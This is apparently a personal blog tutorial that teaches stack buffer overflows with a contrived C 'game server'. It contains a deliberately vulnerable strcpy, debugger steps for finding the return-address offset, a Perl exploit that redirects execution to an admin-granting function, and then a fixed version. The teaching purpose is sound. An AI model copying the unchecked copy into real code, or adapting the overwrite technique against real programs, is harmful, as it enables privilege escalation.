Intro

Everyone has done it, written a piece of code which overflows a buffer, it produces an annoying and often difficult to track down crash.

Today I want to show why a buffer overflow can be far more serious than a difficult to find crash and why everyone should be interested in making sure their code doesn’t contain any. More often than not, a buffer overflow is harmless but when combined with user input, it can be disastrous.

So, here’s our back story: We’ve just created the worlds best first person shooter, it even has a dedicated server (a novelty these days, I know).  The dedicated server allows those running it to select admins who can manage games, kick users etc and that data is persistent.

I’m going to show how a buffer overflow (on the stack in this example), due to user input, can be used by a user to remotely escalate their privileges on the server, from a standard user to an administrator.

Tools

There are a couple of tools you’ll need if you want to follow this example through.

  • Dev-C++ with MinGW/GCC 3.4.2. (You can get it here)
  • OllyDbg (You can get it here)
  • Perl (I’m using ActivePerl, you can get it here)
  • I’m running Windows 7 x64 Ultimate (but it should be fine on any version of Windows)

I must stress I wouldn’t ordinarily use Dev-C++ and MinGW for development (and I don’t advise you do so either) but it produces very small code which is easy to follow and easier to exploit, the same principle applies to all toolsets though.

 

The Game Server

Ok, I’m not actually going to write a server, it would take too long and be more difficult to illustrate the problem. We’ll instead be keeping it simple and using command line input to a (somewhat contrived) C application to exploit our vulnerability.

Here’s the code:

 
  
1 #include <stdio.h> 2 3 4 int userIsAdmin = 0; 5 6 int authenticateUser(char* password) 7 { 8 printf("Authenticating user...\n"); 9 10 char buffer[10]; 11 strcpy(buffer, password); // Overflow with more than 9 characters (with null) 12 13 // Check the user auth details 14 15 return 0; 16 } 17 18 int makeUserAdmin() // We can never get here right? 19 { 20 printf("Making user admin...\n"); 21 userIsAdmin = 1; 22 // Write to database 23 24 return 0; 25 } 26 27 int main(int argCount, char* argVars[]) 28 { 29 if(argCount != 2) 30 { 31 printf("Wrong number of arguments\n"); 32 return 1; 33 } 34 35 printf("Welcome to our game server!\n"); 36 37 authenticateUser(argVars[1]); 38 39 // Do lots of other stuff 40 41 printf("All done!\n"); 42 43 return 0; 44 } 45

As you can see our example is rather contrived but that doesn’t matter, we could exploit any application with a similar issue. The key part to notice is line 11, where we perform the overflow, we’ll copy a string into buffer even if it’s too large, and we’ll therefore overflow the buffer into the stack. Also notice the makeUserAdmin function starting at line 18 which ordinarily we could not reach.

So, we create a C project in Dev-C++ named GameServer and drop this code into our main.c file, compile and link. We now have GameServer.exe and that’s the executable we’re going to exploit (I won’t cover actually creating the project and building, it’s very easy to do and you shouldn’t have any problems).

Ok, so let’s take a quick look at some valid use cases first where the result is what you expect:

 
  
1 C:\development\Overflow>GameServer.exe 2 Wrong number of arguments

 
  
1 C:\development\Overflow>GameServer.exe password 2 Welcome to our game server! 3 Authenticating user... 4 All done!

Both no arguments and an argument 9 characters or less is fine.

Let’s try the same thing again but pass too many characters this time:

 
  
1 C:\development\Overflow>GameServer.exe XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX 2 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX 3 Welcome to our game server! 4 Authenticating user...

Crash

 

We crashed, we might have just found a buffer overflow. Let’s try to exploit it.

 

Tracking Down the Overflow

Now we think we’ve found an overflow, let’s confirm that and see if we can exploit it.

First we’re going to fire up OllyDbg and open the GameServer.exe application. It will immediately run and pause at entry. We then go to the Debug menu and near the bottom select  “Arguments” and enter the string we caused the crash with.

ArgumentsX

Once we press Ok, we’ll be presented with a warning telling us we need to restart the application. We can do that by hitting Ctrl+F2. Confirm you want to kill the current instance of the application and it’ll restart with the command line input we want.

Right now, we’re just going to hit F9 (Continue) twice, we hit the crash and OllyDbg gives us a bit of key information.

MemoryAtAddress 

What this error is telling us, is that we’ve overflowed our buffer on the stack and critically that we’ve overwritten the return address of the authenticateUser function. The reason this happens is because our string copy writes beyond the locals area of the stack and into the return address, see Stack Structure. X (our input string) in hex is 58 so we now know what type of exploit we’re dealing with and we need to track down exactly how to exploit it .

The next thing we need is a random string, luckily I’ve already prepared one for us. The only requirement is that it doesn’t have repetition, we’re going to use it to find out exactly which part of our string is overwriting the return address.

 
  
1 6C882ABD6D0AFF713CDD6A4A31EE28C9140612FB2627A611F6F9F539BAC44F81

We’re now going to use this string as our command line argument:

ArgumentsRandom

If we run again, and continue again, the error message we now get is:

MemoryAtRandomAddress

As you can see, the address has changed because our input has changed, the first thing we need to do is convert the address to the right endianness.

We do this by reading the address 2 characters a time, backwards. So the address 39 43 38 32 becomes 32 38 43 39. Once we know the address we’re trying to return to, as we know these represent ASCII characters (somewhere in our input) we need to convert them to ASCII from hex.

 
  
1 28C9

We now need to find that position in our string. 6C882ABD6D0AFF713CDD6A4A31EE28C9140612FB2627A611F6F9F539BAC44F81. Once we’ve done that, we now know exactly which bit of our string is overwriting the return address. We actually don’t need any of the characters after that point and the characters before don’t matter to us either (although they still have to be present).

 

Making the Exploit Useful

Now we know exactly what sort of exploit we have and exactly which data we can use to exploit it. We can use this information to try and divert the flow of the application, seeing as we’re evil hackers we’ll see if we can get the makeUserAdmin function starting on line 18 to run and bump our privileges.

Again, we restart our application in OllyDbg but instead of continuing, we begin to step through the code. In OllyDbg, F8 steps over and F7 steps into.

In general, we want to step over everything except CALL’s in our application which we want to step into, they will appear as CALL GameServ.*

Call

We’re looking for anything familiar, and after a couple of runs and experimentation you should find this:

Main

Congratulations, you’ve found the main function. Because compilers typically put code which is physically close together, close together in the executable, we’ll just take a quick look around.

Scroll up a little and sure enough, we see this:

Funcs

This includes both our authenticateUser and makeUserAdmin function.

As we want to run the makeUserAdmin function when we return from authenticateUser, we’re looking for it’s entry address:

FuncsAddress

That’s it, we’ve got enough information to exploit our overflow and divert the flow of our application to make our user an administrator.

 

Writing the Exploit

Now all we have to do is actually exploit the overflow. I’m going to write a Perl script to do this – we need to do this because the string is ASCII and as we need that ASCII to represent our target address there is a strong possibility that they are non-printable characters.

Firstly we need to reverse the address we found in the last step, so our target is:

 
  
1 BB 12 40 00

As we know the return address overwrite is the last 4 characters of our string 6C882ABD6D0AFF713CDD6A4A31EE28C9 and the preceding 28 characters are unimportant to our exploit we can just use anything for those.

Here’s our exploit script:

 
  
1 #!/usr/bin/perl 2 3 # Construct our return address target 4 my $targetAddress = "\xBB\x12\x40\x00"; 5 6 # Create the string to pad our exploit target to the right point on the stack 7 my $paddingData="XXXXXXXXXXXXXXXXXXXXXXXXXXXX"; 8 9 # Combine it 10 my $exploitPayload=$paddingData.$targetAddress; 11 12 # Run gameserver and exploit the vulnerability 13 system("GameServer.exe", $exploitPayload);

 

As you can see, our script is very simple. We take the target address, pad it with 28 characters to get to the right point on the stack and pass that as our command line argument.

Let’s see the result:

 
  
1 C:\development\Overflow>GameServerExploit.pl 2 Welcome to our game server! 3 Authenticating user... 4 Making user admin...

As you can see, we have successfully bumped our user to admin. In this example, the application still crashes, but with a bit more effort we could make it silent, and if that method wrote to a persistent data store we’d still have the privileges the next time the server starts.

It’s also possible for us to inject our own code and do basically anything we want, but I wanted to keep this example simple.

 

Fixing the Game Server

Now that we’ve found and exploited our overflow, let’s fix it up and see what the code should look like.

Let’s fix our example so it can’t be exploited:

 
  
1 #include <stdio.h> 2 3 #define PASSWORD_BUFFER 10 4 5 int userIsAdmin = 0; 6 7 int authenticateUser(char* password) 8 { 9 printf("Authenticating user...\n"); 10 11 char buffer[PASSWORD_BUFFER]; 12 13 if(strlen(password) < PASSWORD_BUFFER) // Check length 14 { 15 strcpy(buffer, password); 16 17 // Check the user auth details 18 19 return 0; 20 } 21 else 22 { 23 return 1; 24 } 25 26 27 } 28 29 int makeUserAdmin() // We can never get here right? 30 { 31 printf("Making user admin...\n"); 32 userIsAdmin = 1; 33 // Write to database 34 35 return 0; 36 } 37 38 int main(int argCount, char* argVars[]) 39 { 40 if(argCount != 2) 41 { 42 printf("Wrong number of arguments\n"); 43 return 1; 44 } 45 46 printf("Welcome to our game server!\n"); 47 48 authenticateUser(argVars[1]); 49 50 // Do lots of other stuff 51 52 printf("All done!\n"); 53 54 return 0; 55 } 56

As you can see, the code is now checking the length of the string before we take the copy, let’s run the exploit again:

 
  
1 C:\development\Overflow>GameServerExploit.pl 2 Welcome to our game server! 3 Authenticating user... 4 All done!

Fixed!

 

Closing

I hope I’ve successfully demonstrated how easy it is for an individual to exploit a relatively small mistake in a piece of code that could have disastrous consequences. While our example is simple and we have access to the code, the exact same principle can be used in real world applications and has been used in various high-profile attacks.

Security should be something that every programmer is concerned about, and should not exclusively be the concern of any one member of the team.

Where possible, you should avoid dealing directly with memory using unsafe methods. This includes strcpy, strncpy, memcpy, memmove and many more. Microsoft do offer “safe” versions of these methods (such as strcpy_s) which also take the target size, but that’s not available on all platforms.

If you absolutely can not avoid using these methods, you should verify all of the data before you act on it.

You can never trust user input, in any situation. Even if this were a game server and the client limited the password to 9 characters, I could craft a packet to avoid that check.

It is best to be entirely paranoid and ensure your code can cope with absolutely any input, no matter how unlikely it is.

I haven’t gone into details about the structure of the stack or application, but if there is enough interest I could publish some more security related articles which go into more detail, so please let me know.

I wrote this article in the hope that it would highlight how everyone should be concerned about security. It is not intended to help you exploit real world applications and I won’t help anyone do so.

[Originally published on my personal blog at joehegarty.com/posts/buffer-overflows]